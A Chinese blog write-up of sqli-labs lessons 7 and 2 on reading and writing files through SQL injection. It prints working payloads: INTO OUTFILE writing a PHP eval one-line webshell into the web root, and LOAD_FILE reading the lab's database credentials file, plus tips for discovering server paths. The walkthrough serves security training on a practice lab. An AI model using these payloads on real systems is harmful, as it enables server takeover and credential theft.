sql-labs 文件读写

本文探讨了SQL中的文件写入操作,如使用`INTO OUTFILE`和`INTO DUMPFILE`,并展示了如何上传木马文件。同时,介绍了利用`LOAD_FILE()`进行文件读取,强调了读写文件需要绝对路径和权限。还分享了获取服务器路径的方法,如报错信息、遗留文件、漏洞报错和平台配置文件,并提醒了这些操作可能带来的安全问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 第7题:文件写入 into outfile '绝对路径'/into dumpfile '绝对路径'

id=1')) and 1=2--+

 id=1')) and 1=1--+

 说明为((' '))的闭合

order by得到字段数为3

上传文件

id=-1'))  union select 1,2,3 into outfile "E:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\wuhu.txt"--+

 上传成功

这里就可以上传木马,以一句话木马为例

id=-1'))  union select 1,2,'<?php @eval($_post[“mima”])?>' into outfile "E:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\less-7\\gfj.php"--+

一下就被windows defend检测出来删除了...

再尝试一下文件读出 load_file('绝对路径')

读取平台配置文件

读出的话需要有回显

在less2里尝试

id=-1  union select 1,load_file('E:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc'),3

 

文件读写所需要条件:需要绝对路径,读写文件权限和文件在服务器上

路径获取常见方法:

报错显示:一般网站出现错误的时候它会泄露出路径

遗留文件:站长为了调试信息的时候遗留的文件而泄露的 路径。用扫描工具可以扫出

 

 漏洞报错:知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms 爆路径

 

 平台配置文件.conf:通过读取文件来读取搭建网站平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径

 转载:常见的load_file()读取的敏感信息_weixin_30292843的博客-优快云博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值